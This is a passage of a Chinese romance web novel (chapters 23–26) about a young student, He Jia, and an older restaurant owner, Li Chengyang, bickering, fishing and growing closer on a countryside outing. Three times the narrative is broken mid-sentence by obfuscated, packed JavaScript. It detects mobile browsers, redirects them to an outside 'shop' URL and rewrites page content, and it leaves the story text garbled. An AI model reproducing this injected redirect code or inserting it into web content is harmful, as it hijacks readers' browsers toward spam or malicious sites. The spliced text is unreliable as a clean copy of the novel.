她望向离他最远的土豆,“那个,马铃薯,又叫做土豆、洋芋的东西。” 李成杨的火更大,“谁让你这么讲话的?” 何嘉朝他微笑:“我是晚辈,长辈照顾一下晚辈怎么了吗?” 他气得胸口痛,手上的烧烤夹嘎吱作响。 怎么就忘了她是只憋着坏的蜜獾,给点空间是真的蹬鼻子上脸。 “行,照、顾、你。”他抵着牙关,点头的时候狠气十足。 “谢谢叔叔,谢谢、成杨叔叔。”她装作礼貌的样子,一肚子坏水。 李成杨暗自深呼吸,怀疑她真的有心把他气死。 一边看戏的两个人正在憋笑,虽然不知道他们在闹什么别扭,但就是觉得很好笑。 “杨哥,你遇到对手了。”张壅没忍住打趣一句。 李成杨气急而笑:“你也想吃那个叫做土豆、洋芋的东西?” “我要吃鸡翅。” “呵呵,你要吃自己夹。” 不一会儿何嘉要吃的东西都烤好了,李成杨一股脑儿将它们全都塞进她碗里,正好满满一碗。 他边指着不同的蔬菜,边阴阳怪气地说:“你要吃的蘑菇,三月瓜、西葫芦、番瓜,马铃薯、洋芋、土豆烤好了,你最好吃全都吃完一点都不要浪费。” 何嘉很有骨气地说:“您放心吧,长辈给晚辈的东西我自然会好好吃完,我谢谢您。” 冉舒看他们一来一回的样子,实在是憋得辛苦。“你们今天怎么啦?吵架了吗?怎么都不依不饶的?” 李成杨说:“没有,谁犯得上和她吵架。” 何嘉冷笑一声:“谁知道某些长辈最近怎么了,一言不合就开始生气,年龄大了情绪也不稳定。” 他后牙槽都要顶碎了,“嗯对,现在晚辈就喜欢顶嘴,还必须把长辈气死才安心。” 何嘉冷脸,语气不解:“你究竟怎么了?从那天晚上开始你就一直看我不爽,为什么?明明是你自己回错地方了你也要怪我吗?” 李成杨突然沉默。 也许是被戳中心事,他心里的烦闷到达顶峰。 “你问我?你还来问我?你该问我?还是该问问你自己?!” 何嘉一下子哑然无声。又一个被戳中心事的人。 难道他那天晚上察觉什么了吗? 两个人都不说话,各自坐下来闷头吃饭。 冉舒和张壅对视一眼,派张壅去问:“你俩怎么了?什么晚上什么回错地方了?你俩发生什么了吗?” “什么都没发生!”两人异口同声。 空气中弥漫着一种诡谲的气氛。 冉舒出来打哈哈:“哎呀,没事没事,今天出来玩大家都那么严肃干什么嘛,高兴点呀。小嘉妹妹,你想不想骑马呀?那边还有小羊哦,等下吃完我们去那边玩吧。” 何嘉很乖地点头:“好啊舒舒姐。” 反正现在也不想看到某人,还不如快点吃饭呢。 何嘉埋头苦干,再一抬头的时候,不知道那边的小羊怎么跑过来了,现在正好站在她旁边。 “小羊小羊,快过来。”她朝它张开双臂。 小羊十分给面子,踩着草地朝她靠近。 她伸手去摸它的毛,触感好软啊,就和小狗一样,毛毛也白白的,应该还是个小羊宝宝。 小羊又朝她走近几步,直接挨在她怀里,她亲昵地抚摸它的耳朵,看到它脖子上的项圈写着“杨杨”两个字。 想到什么,她忍不住拍了拍旁边的人:“你看,它也是杨杨(羊羊)诶。” 旁边的人皱眉:“什么?” “杨杨,它也是杨杨!”何嘉把它的项圈递给他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282845|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看。 他瞟了眼项圈,目光落到她脸上。 她和他对视,倏然想起什么,“哼”了一声立马变脸。她还在和他生气呢!怎么能忘了。 “杨杨,过来。”何嘉故意叫小羊。 李成杨才不觉得别扭,也叫了一声:“杨杨,过来。” 小羊走到他们中间,非常有情商地不偏不倚。 李成杨拿起它的项圈再看一眼,果然和他的“杨”一模一样。那又怎样?他揉了揉“杨杨”的头,夸赞它:“杨杨真乖。” 何嘉就没见过他这么不害臊的人,之前怎么没发觉,李成杨这个人那么讨厌! 她越想越气,拉着冉舒说:“舒舒姐,我们去骑马好吗?” 冉舒偷笑:“好啊,走吧。” 她们往前面的草坪走去,那里有两匹棕色的小马,看上去一样招人喜欢。 李成杨和张壅换了一张茶椅,在树下闲坐。 他本来不怎么喝茶,但今天的阳光好,院子里的景致也不错,喝几口也算是闲情雅致。 老板给他们上了一壶藤茶,刚入口是强烈的苦味,苦味之后迅速变成一股清冽的甘甜,甜味持久,令人通透舒适。 他总算静下心,视线飘到远边的草坪上。 牵马的师傅对何嘉说了几句什么,而后她十分灵活地攀上马背,没有一点畏惧,根本不像是初学者。 阳光洒在她身上,小姑娘的梨涡绽放,有时候还会往他这边看看,脸上已经没有生气的表情,反而有一点岁月静好的美感。 她今天是很美的,还带着一点可爱,全身散发着属于年轻人的朝气。特别是扎的丸子头,他之前没有见过,比她随手扎的低马尾要耀眼许多。 莫名,让他无法移开视线。 张壅喝了一口茶,将他的举动看在眼里。 “杨哥,你最近有问题。” 李成杨回神,问:“怎么?” “你最近情绪起伏挺大的。” 他眼神迟疑,“没有,你感觉错了。” 张壅看向何嘉和冉舒的方向,前者一直在马背上笑,后者忙着给她拍照,两个人都很愉快。 “何嘉来了之后,你情绪不对劲。”他很肯定。 李成杨沉默,视线又回到何嘉身上。 有么?他的情绪怎么可能会被她牵着走。 “你们俩有问题。”张壅语气犀利,“刚才吃饭的时候说的那晚上,是指什么?你们不会真的发生了什么吧?” “你想多了。”他面颊僵硬,不敢回想那个晚上,更不敢回想自己是如何回到家里的。 “什么都没有。”是说给自己听。 张壅静了半晌,叹气:“她比你小十岁,你想好了吗?” “想什么?你真想多了,没有那种想法。” “当局者迷,旁观者清。” “你到底想说什么?” 张壅淡淡地说:“小嘉经常问我你回不回店里,我只是觉得,她好像挺喜欢你的。” 多么安静的一句话,在他耳旁震耳欲聋。 李成杨吐气,直截否认:“那是错觉。我不过多帮了她几次,她有依赖我的想法很正常。” 张壅转头浅笑:“到底是什么想法,只有小嘉心里清楚。虽然不关我的事,我还是想提醒一句,如果你想好了,就明显一点。” “什么明显一点?” “拒绝,或者是……接受?” 他又陷入沉默。 “别让她期待,然后又让她失望。有时候沉默不是好事。”张壅看着冉舒的位置,“这是我作为一个已婚男士的忠告。” “我知道我在做什么。”他什么也不知道。 “好好好,你知道,你知道就别让我们小嘉妹妹伤心,她挺好一小姑娘。” “我心里有数,她对我来说就是一小朋友。小朋友哪知道自己一时的想法成不成熟?等她再大一些才会明白,她对我的想法只是错觉,是一种晚辈对长辈的依赖。我可以做长辈,但是其他的不行。” “你真把她当晚辈?” “嗯。” 远处的何嘉忽然朝他挥手,他刻意撇过视线装作视而不见。 小朋友捕捉到他脸上的忽视,手臂愣在空中。那一秒全世界的绿意都变成枯色。 24. 第24章 何嘉呆呆地看着他的身影,笑容凝固在脸上。 他看到她了,他一定看到她了,可是他为什么假装看不见?他明明已经没有和她置气了,为什么突然又不理她了? 那瞬间她垂下眼皮,整个人失落。他之前不是这样的。 冉舒看时间差不多了,提议道:“小嘉妹妹,我们去买奶茶吧。” 何嘉收起情绪说好啊。 冉舒挽着她走向草坪旁边的奶茶摊。 “老板,我要芋圆奶茶。”她问何嘉:“你想喝什么呀?” 何嘉说:“热可可吧。” 老板很快做好两杯奶茶,递给她们的时候说:“今天阳光很好,你们可以去后院拍照,那边景色不错。” “好啊,小嘉我们走吧。” 老板此言非虚,后院种了更多绿植,还有一棵接了果子的橘子树,青石板路旁摆放几盆精心料养的山茶,上面开着淡粉的花。 何嘉拿手机给冉舒拍照,再次感叹:“舒舒姐,你真的好漂亮啊。” 冉舒捂嘴笑了:“小嘴真甜。快来,我也给你拍拍,小嘉妹妹今天也特别漂亮!” “真的吗?”她想起今天某人只正眼瞧了她一次,还以为自己的造型很奇怪呢。 冉舒说:“很好看啊,小嘉妹妹你不知道,你现在正年轻所以根本不需要过多点缀,就像清水出芙蓉,是很自然的漂亮。再说了,这个丸子头很适合你,特别可爱。” 何嘉安下心来,原来是某人眼瞎。 她们俩沿着石板路又走了一截,何嘉主动提起话题:“舒舒姐,你为什么会和壅哥在一起?” 冉舒露出两颗虎牙,“因为他一直站在我身后啊,他给我安全感,而且我们之间一直都有话要讲。” “有话讲?” “是呀。‘有话讲’就是一种分享欲,是你想到某件有趣的事情就想要立马分享给他。分享欲是很重要也很容易失去的东西,但是我跟他好像永远都有说不完的话,我们不会丧失分享的欲望。” 何嘉突然想到李成杨,就在刚刚,她看到那个叫“杨杨”的小羊时,几乎是下意识地想要分享给他。 冉舒看她若有所思的样子,问:“怎么啦?小嘉妹妹有烦恼喔?” 她低头,吞吞吐吐的说:“嗯…应该是烦恼吧,甚至是有点……困难?让我搞不清状况。” “跟我说说吧,为什么烦恼又为什么困难?” 何嘉把这几天发生过的事情想了一遍,最后提炼成一句话:“因为一些年龄和现实的差距,我好像陷入了一个进退两难的境地。” “噢~”冉舒笑着说:“十岁确实是一个问题,但是其他的也没有那么困难吧,李成杨的思想还是挺年轻的。” 何嘉一下子脸红,神情不自在。 “舒舒姐,你怎么知道我说的是他?” “嗯……大概是你们都点太明显了哟。” “你们?是指…什么?” “就是你和李成杨,你们双双。” 何嘉不信:“不是吧,应该只有我。” “No,不只有你,他也不对劲。” “有吗?你看错了吧?” 冉舒神秘地看着她:“小嘉,你没有发现吗?刚才吃饭的时候他多在意你啊,都气成那样了还要给你烤东西吃。” “这也算吗?他只是在和我闹别扭呢。” “闹别扭?都三十多的人了还跟小朋友闹别扭?那么刚才骑马的时候呢?” “什么?” “唉。刚才骑马的时候他的视线一直落在你身上,我隔那么远都看了。他好像挺在意你的。” 何嘉感到很震惊,“是么?不应该呀。” 他分明最近对她特别冷淡,甚至是生气。 “怎么不应该了?”冉舒不赞同,“小嘉你性格这么好,人又这么漂亮,怎么就不应该了,要是我我也在意你啊。我可是已婚人士,眼光很毒辣的好吧。” 何嘉喃喃自语:“好没道理。” 冉舒突然说:“不过也是,如果对象是他的话,也确实有那么一点棘手吧。” “为什么呢?” “因为你们之间不仅是年龄差距。你们的阅历也不对等,心智不对等,导致你会在这段关系里变得被动。他早出来这么多年,以他的经验,其实很多时候看一眼就知道你心里想什么,但是他可能不会说,留你一个人患得患失。” 确实是这样的。这些话,郑亦然那天也说过相似的,虽然是在嘲讽她,但是话一点都没有错。 就像最近,何嘉根本不知道他怎么了,她就算问他也不说,她根本不知道他在想什么。 “一直猜来猜去很辛苦的。”冉舒拍拍何嘉的肩膀,“如果他让你一直猜来猜去就不要他了。这样的话还是找个同龄人好,至少不用觉得每次和他说话都是卑微的样子。女孩子还是要抓住主导权对自己更有利。” 何嘉能听懂她的话,却听不清她的话,因为心里已经有答案了。 “舒舒姐,你知道他以前谈过的对象是什么样子吗?” “不记得啦,已经很久了,好像没谈多久就分了,这个你可以自己问他。” “他觉得我是小孩子,不会跟我说的。” 冉舒捏捏她的脸颊:“小孩子也有小孩子的执拗可爱啊,比如说你一定不会听我刚才说的话。” 何嘉傻傻地问:“为什么?” 冉舒朝她眨眼睛,什么都看得清晰。 “因为你已经喜欢他了,不撞南墙不会死心。” 两人又绕着后院走了两圈,何嘉全程都心不在焉。 阳光正好,时间也早,冉舒拉着她回到刚才的营地。 张壅和李成杨还坐在原来的地方喝茶。 冉舒拿了个杯子给何嘉:“里面应该是藤茶,你尝尝?” 何嘉接过杯子喝了一口,入口苦涩回甘无穷。 “好神奇的味道。” “是吧,我觉得也不错。” 李成杨的目光滑过何嘉,迅速收回,他站起来说:“我去钓鱼。” 冉舒和张壅互相打了个眼神,这次冉舒说:“我和张壅都不感兴趣,小嘉妹妹你去吧,钓鱼也挺有意思的。” 何嘉说:“不了,我不会钓鱼。” 张壅建议:“你让杨哥教你,他每个月休假都钓,你跟着他就行。” 何嘉踌躇不前,心里乱糟糟的。 “快去,他在等你。”有人小声提醒。 何嘉望向那人的背影,他站在距她五步开外的位置没动,背脊挺直有力。从树梢漏下来的光斑打在他肩上,不知道他在看什么。 好吧,她突然就有点兴趣了。 何嘉快步走到他身边,而他悄悄放缓步伐,只是没有和她说话。 冉舒看他们的背影走远,用手肘推推张壅,“你发现什么没?” 张壅说:“发现了。” 他们相视一笑。 冉舒说:“他俩身上的别扭劲儿一模一样。” “是啊,不是一对我不信。” “李成杨跟你说没,他那边什么心思?” “不承认呗,但有问题是没跑了。何嘉呢?” 冉舒笑:“不言而喻喔。李成杨完蛋了,有人要收拾他了。” 他们笑作一团,张壅提议:“你赌不赌,他们会不会在一起?” “赌啊,我赌会,赌注就是洗一个月的碗。” “不行啊,因为我也赌,会。” 池塘这边,李成杨熟练地从竿包里拿出鱼竿,上好饵料之后放在地上。 他拿出第二根鱼竿,换了钩线之后看了眼何嘉,她一直在观察他手上的动作。 鱼饵很快上好,他递给她。 何嘉接过,发现比她想象得要重。李成杨又抽了两个折叠钓椅出来,将其中一个给她,示意她坐下。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286858|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她像个好学的学生一样问他:“这个有什么技巧吗?” “坐着。”他说。 “鱼真的会吃上面的饵料吗?” “不知道。” “那你在钓什么?你钓到过吗?” 他真怀疑她的存在就是为了挑战他的权威。 但他懒得解释,只说:“你去问鱼。” 何嘉闷闷不乐。 李成杨准备好,看了眼太阳,皱着眉头从竿包里摸出一顶遮阳帽。 又看了看何嘉,直接将帽子扣在她脑袋上。 她被吓了一跳,问他:“为什么要戴帽子?鱼不能看到我的头顶吗?” 李成杨本来很严肃,一听这话忍不住想笑。 他尽力按住嘴角上扬的弧度,指了指太阳,“你不想被晒成煤炭就戴着,今天至少会在这儿坐到晚上。” “哦冬天也有紫外线。不对,为什么要钓那么久?” 他慢条斯理地说:“因为我想。” “你真的能坐那么久吗?你每次来都要钓这么久?那你钓鱼的时候一般干什么?” 他只回答其中一个问题:“坐着。” “那你每次可以钓几条鱼?” “嘘。”他伸出食指挡在嘴前,做出噤声的手势。 何嘉以为他要做出什么重要的指示,于是侧耳倾听。 他却坐在钓椅上不说话,不看手机,就安静地在那里,坐着。 她凑近问他:“真的坐着就行?” 他往一边躲,“放空自己,和大自然融为一体。” “……” 何嘉握着鱼竿,视线定格在水面的倒影。碧波里映照着蓝天和白云,池塘边几棵郁郁葱葱的树,影子在水里摇曳。 她的心静下来,和他坐在一处安静地望向水面。她猜测此刻的李成杨和她一样情绪平静。 那么她就突然有点想问他一点事情。 “你最近好像不太开心,又好像是在生气,可以告诉我为什么吗?” 他的手指摩擦鱼竿,否认道:“没有,没有不开心也没有生气。” 她却温和地说:“不是的。你最近情绪不好,我感觉好像和我有关,是我惹你心情不好了吗?” 李成杨的心脏一下子软下来。她明知道他最近对她的态度不好,却还用这种语气问他是不是她的问题。 她很敏感,也很敏锐,但是她怎么能这么说呢,怎么能把问题揽到自己身上。 “没有,不是你。”这次他的声音柔和,“是我自己没处理好情绪。” “那你能和我说说是什么事情吗?” 不可以。因为就连他自己,都弄不清楚这究竟是怎么一回事。 他只知道他在气的,一直是他自己。他在气自己这段时间搞不清楚自己在做什么,他在气自己多了不应该产生的在意,他在气自己因为她只是站在那里,就觉得心烦意乱。 他无法解释,为什么她的一举一动都能影响他的心情。 已经不是小孩子了,怎么还为这些事情烦恼。 “是工作上的事情。”他撒谎了,对一个小朋友撒谎。 她松了一口气,“是这样啊,工作上的话,那我确实是不能和你感同身受了。我还以为你最近对我那么凶是因为我让你不舒服了。” “没有不舒服。”他顿了顿,“我最近……真的很凶吗?” “很凶。”她一个劲儿吐槽:“和你说什么你好像都会生气,我都不敢和你说话了。” “对不起,我以后会注意。” “没关系。” 她还想再确认:“所以真的和我没有关系吗?” “没有。” “真的?” “真的。” “那为什么我觉得那天晚上之后你不一样了?你以前不是这样的。” 他盯着水面的涟漪,决定逃避:“你话太多,把我的鱼吓跑了。” 25. 第25章 何嘉往池塘一看,根本没有一条鱼的影子,倒是水面被风吹起波纹,在阳光下浮光跃金。 她说:“看不到鱼啊,它们真的会吃鱼饵吗?会不会偷吃了之后就跑掉?” 李成杨不知道她为什么会有那么多奇怪的问题,转头看向她。 “你想知道答案,就要耐心。” 她将脑袋撑在手掌上,很无聊地戳了戳脸颊。 “我很耐心,我只是好奇。” “不要好奇,要等待。” “只是等待的话,鱼真的会上钩吗?”她话里有话。 他装作不懂:“还要看准时机,在它咬钩的时候迅速收竿。” “好有道理。”何嘉盯着他的眼睛,“那我可以再问你一个问题吗?” 他偏头看她,看到她的眼中倒映着自己。 微风吹过,树梢发出沙沙的声音。 你想问什么? 他的眼神犹豫,甚至有些害怕,心脏不自然地收缩,连手心也出了薄汗。 不要问我不想回答的问题。 何嘉还盯着他,虔诚地、期待地凝视他。 她捕捉到他脸上细微的异样,没有戳穿,反而笑了笑,眼睛弯得像月牙。 他舔舔嘴唇,十分讶异自己说了:“问吧。” 她扭头不再看他,目光落在鱼线入水的那个点,随意移动两下,鱼线在水面划出几条不规律的线条。 “这么多年,你一个人累不累?” “什么?” 李成杨的表情钉在脸上,眸子里满是惊愕。 他没有预料到,她会问这样的问题。 她刚才的表情,分明是想问那些他无法回答的问题。难道这才是错觉?是他自己产生了错觉,是他自己太在意。 “我说,这么多年,你一个人累不累?”何嘉重复,然后继续补充:“之前在店里,张姨和壅哥说饭店这么多年一直是你一个人在管,可是你白天还要送快递啊。所以我想知道,这些年你不会觉得累吗?” 他喉头发紧,失神地摇头,“不累。” “真的吗?” “真的。” “壅哥说饭店其实挺挣钱的,那你为什么还要送快递呢?” “饭店本来不是我开的,我大学毕业之后一直在送快递。” 何嘉好奇:“那是谁开的?” 李成杨说:“我爸。” “你爸爸是厨师吗?” “嗯。” “那他为什么不继续当老板了?” “不能当了。”死了。 他不想告诉她更多有关于自己的事。 “喔这样啊。”她也没追问。 李成杨反而问:“为什么问这些?” 何嘉坦率地露出梨涡:“只是觉得你好辛苦。虽然你说不累,但同时做两件事就是很累呀。” 他心脏一颤,“不累,习惯了。” 存在于他生活中的一切,他都已经习惯了,只是第一次有人关心他累不累,让他一点都不习惯。 “习惯了不等同于不累,只是习惯了要累。”何嘉这话说得很有哲理。 他弯了弯唇:“小小年纪懂挺多。” 她不赞同:“我不是小小年纪,我都二十多了!二十二了呢,今年六月份就二十三了!” “嗯,还是小小年纪。” “才不是!我是成年人,成年人你懂吗?” 李成杨被她逗笑:“好好好,你成年人,二十二也就成年人里的四岁。” 何嘉不服气:“你要这么算的话,你不也才成年人里的十四岁?”又着重补充,“四岁和十四岁之间也没有相差很多。” 他听出她的意思,纠正道:“十岁很多,十岁都差辈了,所以我是你长辈。” “屁的长辈。” “何嘉。” “哦。” 他很想知道:“你这段时间怎么不叫人了?” “我叫了啊,吃饭的时候就叫了。” 好像是叫了“成杨叔叔”,不过是她故意气他的。 “我是说,你为什么不像以前一样叫我‘老板’了?这个词很烫嘴?” 何嘉想到上次郑亦然和她吵架时说的话,觉得“老板和大学生”确实听起来怪怪的,自然不想再叫那个称呼。 “我不想。” “为什么不想?你不想那你就叫我‘叔叔’。” 她鼓起脸颊:“不要。” “你要。” “为什么一定得叫你某个称呼?” “嗯,你很棒,现在连喊人的礼貌都没有了。” “那我可以叫你‘李成杨’吗?” 他睨她一眼,“你觉得呢?” “哦。” “叫叔叔。” 她就不,一个人捏着鱼竿生闷气去了。 李成杨看她背影决绝,感觉有点无厘头。叫“叔叔”是什么很过分的事情吗?他都还没介意,她反倒介意起来了。 “何嘉。” 何嘉不理他。 “何嘉。” 她还是不理他。 “何嘉。” 她转头剜他一眼:“干嘛!” 他指着她那边的水面说:“你浮漂在动。” 何嘉立马站起来提竿收线,只见鱼钩上挂了一个看不清样子的东西,还没她手掌大。 她将鱼竿放在地上,仔细一看,什么东西? 简直是一个“巨物”——十分迷你的棕色田螺,甚至还没有长大,像一只小虫一样。 李成杨看到那只田螺,没忍住笑了。 “嗯,真棒。” 何嘉把田螺甩回水里,冲他瘪嘴:“你不准笑。” 他笑得更厉害了,“真的很棒。我还没见过有人能把田螺钓上来的。” 她把钓椅搬到一边,离他远远的。 “你再笑,讨厌你。” 李成杨憋住笑意,主动走过去给她重新上饵。 “再来一次。”他蹲在她身边,很迅速地穿了只蚯蚓在鱼钩上,“这次用蚯蚓试试,应该能钓条鲫鱼。” 何嘉觉得脸颊发热,也不知道是热的还是因为他主动朝她靠近。 “好吧,那我再钓一钓。”她拿过鱼竿,这次全神贯注地盯着水面,丝毫没有再和他聊天的想法。 李成杨坐回原处,视线偷瞄何嘉,小姑娘皱着眉头跟鱼较上劲了。 刚才都没仔细看,她今天穿的外套是他那天和她一起逛超市买的,颜色虽然耐脏,但比黑色要好看一些。 这件外套就像某种符号,承载着只有他们两个人才知道的记忆。 他突然就不想钓鱼,也想问她一点事情了。 “何嘉。” “嗯?”她不抬头,依旧盯着水面。 他用随和的语气问她:“为什么大四还要兼职?” “不止大四,其实我每学期都在兼职。” “为什么?家里人不管吗?” “你忘了吗?我上次告诉过你,我一直没有什么家人呀……除了阿婆。” 她还是没抬头,用一种异常冷静地语气回答。 李成杨想起来了,她从安城回余川的那晚,她确实跟提过这件事。 他斟酌着再问:“你父母呢?” 何嘉的碎发划过脸颊,漂在空中。 “出生之前爸爸就跑了,去做富婆的小白脸了,妈妈生下我也不要我,和别人有家庭也有小孩啦。” 他皱眉,听上去不舒服,“他们真的什么都不管你?只有你阿婆管?” “他们都没出现过,我是被阿婆带大的,直到我快小学毕业,她生病要住院,我就只能去住校,然后就没有人管了。” “是什么病?” 何嘉放下鱼竿,朝他无奈的笑笑:“帕金森。一开始只是行动困难,现在已经是晚期了,不可以动也不可以说话,就那样躺着。” 李成杨没有立马说话,心里那种不舒服的感觉演变成另外一种情绪。他从前不知道那是什么,现在才知道,那是一种类似于心疼的情感。 “那你长大的过程肯定很不容易。” 她揭开头上的遮阳帽,发丝凌乱,在阳光下泛光。 “也还好啦。”何嘉拾起鱼竿,无意识抠了抠上面的标签,“我妈还是一直供着阿婆的,现在阿婆在养老院那边住,每个月的费用是她在给。阿婆那儿不用我想办法挣钱已经很好了,只是读书的时候就要努力兼职才行,不然就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291309|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有学费和生活费了。” 他缓缓点头,说:“你很独立,也很坚强。” 她不好意思地笑了:“活着不都这样吗?虽然有时候觉得难过,但还是要这样过下去嘛,而且现在的生活也没有什么不好,我已经习惯了啊。” “你刚才说过。” “什么?” “你刚才说过,习惯不代表不累。” 何嘉眨了眨眼,“累点没有什么,现在一切都挺好的。况且兼职也没有多累,学校还可以申请贫困补助。所以我认为也不是那么难熬吧,就是比其他同学多一点担心罢了。” “担心什么?” “担心我阿婆啊,她得了这个病,痛苦了十多年,现在到晚期应该快解脱了,但是你知道吗?” “嗯?” “我也有私心的。我想求她再撑一撑,撑到看我去读研,看到我一直在好好成长的样子。可是我不知道她心里到底是怎么想的,她也不能告诉我。我想让她不再那么痛苦,可是我又不想她离开。” “这不是私心。”他的眼神温柔,“你只是因为爱她,舍不得她。” 她忽然觉得鼻尖发酸,“是吗?” “是。” “嗯,我会珍惜的,珍惜她还在的时候。” 他安慰她:“她会在的,她会好好的。” “一定会的。” 李成杨收回视线,心绪却无法平静下来。 他望着远方的白云,初次回想自己在她这么大的时候正在做些什么。 好像差不多。 医院的ICU灯光常亮,各种仪器发出运作的声响,而躺在病床上的那个人皮肤枯黄。 到那个时候,李建峰已经经历过无初次的巨痛、腹水、呕吐。甚至产生睡眠障碍、谵妄。 他会抽搐,也会吐出大量黑色的血。 整个病房里都弥漫着一股腥气,还有一种挥散不去的绝望。 二十多岁的李成杨本该有更好的人生,但他没有办法,他得找份来钱快的工作,最好是他付出体力就能快速变现的那种。 于是他把自己埋在一堆又一堆的快递里,然后穿梭在城市之间摸爬滚打。 有时候一天都来不及吃几口饭,就算吃也是四五块一顿的街边套饭。一个路口蹲七八个工人,他混在其中沾满灰尘,根本来不及辨别饭里的沙土。 有时候天气不好,特别是雨天,稍不留神淋了几滴客户的快递就得赔,还要被骂:“你他妈能不能干?不能干滚蛋,老子要投诉你!” 他只能陪笑说:“不好意思,是我的问题,这样吧,您这单快递我赔行吗?” “老子告诉你,你不仅要赔,你还要被投诉扣钱!” 那时的他很累,觉得整个世界他最无助,他气愤过,也消沉过,想起要为这样一个下作的父亲拼命,他就觉得干脆一起一了百了得了。 但最后也不知道怎么回事,时间就这么走着,他浑浑噩噩长这么大了。 直到现在,李建峰走了快十年,他还在干快递。 也没什么不好,他甚至找到时间可以重新开张李建峰的饭店。反正空着也是空着,还不如多挣点钱,这是李建峰欠他的。 这么多年都是这么过来的,无人在意,漂泊无依。 他的目光转到何嘉的鱼竿上,她继续和池鱼作斗争,没有将刚才的情绪带到池塘里。 她总是这样,明明身处困难的境地,却仍旧笑着说“没有什么的”。现在的她明明和他当年一样大,和他经历相似的事情,却比他要坚强乐观。 原来他一直不如她。他看上去的成熟不过是多活了一段岁月罢了。 “何嘉,你觉得现在的生活怎么样?” “嗯?现在的生活很充实啊。” 你看,她就是这么回答的。 “为什么?”李成杨侧身看她。 “就是很充实,每天有班上,考研成绩也不错,我已经很满足了。”何嘉转身向他的时候语气很轻:“而且遇到了让我开心的人。” “为什么开心?” 她目光热烈:“不知道,反正就是很开心。” 他即刻转头,指了指水面的颤动的浮漂。 “你的鱼上钩了。” 26. 第26章 “真的呀!” 何嘉看见浮漂一下一下地抖动,十分激动地朝前走了几步,她将鱼竿提起来,却发现竿子突然变得好重。 难道是一条大鱼? 她有点喜出望外,又朝前走了两步,用力将鱼线从水下拉出来。 注意力全在水里,自然无法注意脚下的泥土松软。 她无意间又朝前垮了一步,脚下一空,整个人朝池塘跌去。 “李成杨!” 慌乱之间她叫了他的名字,而他眼疾手快,立马拉住她的手腕。 腕上那股力气很大,扯得她皮肤发疼,但是比手腕更疼的是小腿传来一阵锐痛,让她忍不住倒吸一口凉气。 “怎么样?有没有事?”李成杨急忙把她拉上岸,看到她的两个裤脚被水浸湿,其中一个多了条口子。 何嘉皱着眉,脸色发白,“腿上好痛,不知道是不是划伤了。” “能走吗?” 她伸脚在地上点了点,发现小腿某片皮肤开始渗血,透过裤子显现出一点红色。 “好像不太可以。” 他扶住她的手臂,声音从她头顶传来。 “抱住我。” 何嘉疑惑地看了他一眼,怀疑刚才是幻听。 但他表情严肃,又催促她:“快点。” 那真抱了?抱就抱,不抱白不抱。 于是她怀着十分震撼的心情环住了他的腰身。 男人的腰精瘦有力,让她心脏猛然跳动。因为距离很近,她甚至可以闻到他身上的香气,又是那种柠檬夹杂咖啡的气息。 莫名让她忍不住深吸一口。 真好闻。 李成杨的夹克里穿了一件毛衣,应该是羊毛织的,触感有些扎手,何嘉贴在他胸口的时候觉得脸颊发痒。 时间静止两秒,男人僵住不动。 何嘉不解地看了他一眼,而他也低头俯视她,眼眸里的诧异溢于言表。 “……我的意思是抱住我的脖子,不然我怎么抱你过去处理伤口?” 听到这话,她的脸一下熟透,非常不自然地说:“哦哦哦,这样啊。” 刚要离开他的怀抱,他却直接把她打横抱起,没给她扭捏的机会。 何嘉被他的动作吓了一跳,立马环住他的肩膀,额头不小心抵住他的脖颈。 肌肤相贴,一片热意从她额上传来。 她心如捣鼓,发丝在他的脖子上轻轻摩擦。 他也察觉到那阵异常的触感,刻意偏头,走了几步实在是觉得心痒难耐。 “何嘉。” “啊?” “不要蹭我的脖子。” “什么?”她仰起头看他,呼吸依旧打在他的脖子上。 他顿住,轻轻呼气,“你的头发,离我远一点。” “喔好的。”她将整个脑袋都向后缩,尽量不会碰到他。 他的右手搂在何嘉腰上,开始微微发热,全身的血液都涌进心房。 “你怎么不动?”她问他,声音就在他耳边。 他一眨眼,抱着她迅速往前走,耳朵也开始发烫。 何嘉疑心是自己的问题:“是我太重了吗?你累了吗?” 李成杨深吸两口气,语气沉沉:“你小鸡一样,还没麻袋重。” “噢。好吧。那你走快点好吗,我的腿好痛。” 他果然跨出更大的步伐,一路上绷着下颚一言不发。何嘉觉得颠簸,于是更加用力地抱住他的脖子,他闻到她身上的气味,一模一样,又是那股要命的兰花香气。 刹那间,就觉得自己快要不能呼吸。 回到小院的营地,他迅速找到室内的拖把池子,将何嘉放在它旁边。 “裤子掀开。” “啊?” 血液已经渗出她裤腿的布料,他一时心急,直接蹲在她脚边,将她的裤脚全部扯开。 一道血痕躺在她白净的小腿上,风吹过的时候有点疼,又有点痒。 他沉默,然后怪异地问她:“你怎么不穿秋裤?不怕冷?” 